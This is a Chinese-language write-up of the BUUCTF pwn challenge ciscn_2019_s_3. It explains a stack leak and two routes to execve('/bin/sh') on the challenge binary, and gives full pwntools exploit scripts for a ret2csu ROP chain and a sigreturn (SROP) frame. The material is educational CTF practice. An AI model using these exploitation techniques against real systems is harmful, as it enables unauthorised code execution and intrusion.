BUUCTF-ciscn_2019_s_3
[BUUCTF] ciscn_2019_s_3
这道题思路比较直接,有两种解法,第一种是利用csu来布置栈空间,另一种是利用sigreturn直接对关键寄存器赋值,后者相对来说更加简单。
glibc 环境配置
这道题由于环境的不同,泄露出来的栈地址和buf的地址有两种偏移,一个是0x118(远程环境的偏移),还有一种是0x128,BUUCTF上这道题是ubuntu18的环境,我们需要把libc的版本切换到libc-2.27.so
rm ciscn_s_3
cp ciscn_s_3.bak ciscn_s_3
patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./ciscn_s_3
泄露buf地址
前面的做法是相同的,泄露栈上的地址,并通过与buf的偏移计算出buffer的地址。
from pwn import *
file_path = '/home/kali/Desktop/ctf/pwn/ciscn_s_3/ciscn_s_3'
p = process([file_path])
gdb.attach(p)
vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
通过打印出的stack_addr得出泄露的地址与buf的地址偏移为0x118, 这个偏移是个固定值(因为泄露出来的地址是某个ebp,而栈的布局是固定的,所以偏移是固定的)。
再看题目中给的gadgets,分别对rax赋予了0xf(sigret), 和0x3b(execve),因此接下来就可以分为两种做法,目标都是控制寄存器的值来执行execve,前者相对更加容易。这里先讨论第二种做法,再来看第一种。
解法1 csu
执行execve有几个关键的寄存器的值需要设置
- rax = 0x3b
- rdi = &'/bin/sh\0'
- rsi = 0
- rdx = 0
从ropgadget的结果来看,我们可以直接控制的寄存器有rdi,rsi,以及可以执行syscall,结合之前泄露的buf地址,我们还差一个rdx....于是,从这里开始了漫长的曲线救国....
一般在代码里,通常都会有__libc_csu_init这个函数,它会在这里执行一些初始化的工作,包括初始化函数和相关寄存器的值,我们的目标就是通过它使得rdx=0
通过代码片段可以看到,我们可以通过执行pop r13
(0x40059e) -> mov rdx, r13
(0x400580), 使得rdx=0
这里有两个比较关键的地方需要注意
- 0x400589: call [r12 + rbx * 8], 会执行r12+rbx8地址指向的函数, 我直接在buf里放了个ret;的地址..., 然后让r12 + rbx8指向buf
- cmp rbx, rbp; jnz short loc_400580, 如果rbx和rbp相同会循环
- 我在泄露函数地址后直接重进的vul函数,buf的地址不变
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9
payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 # 这里执行到0x400580后又会重新pop一遍, 7是调试出来的,没仔细看代码...
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()
其实从这个代码里可以看到,为了让rdx=0,是费了很大功夫的,首先让rip指向__libc_csu_init, 然后一顿骚操作执行了r12指向的代码,又绕过了rbx != rbp的限制,调试需要花很长时间。而解法2中的sigret则没有这么多弯弯绕绕,直接一步到位。
解法2 sigret
原理
linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。
在本题中,gadget已经给了0xf的syscall(对应③这个环节),因此我们可以利用它来设置对应环境。
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
64位环境如上,光靠人记忆比较困难,pwntool已经提供了工具能直接生成对应的布局。
exp
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
p.send(payload)
p.interactive()
相对于解法1来说,这就特别简单粗暴...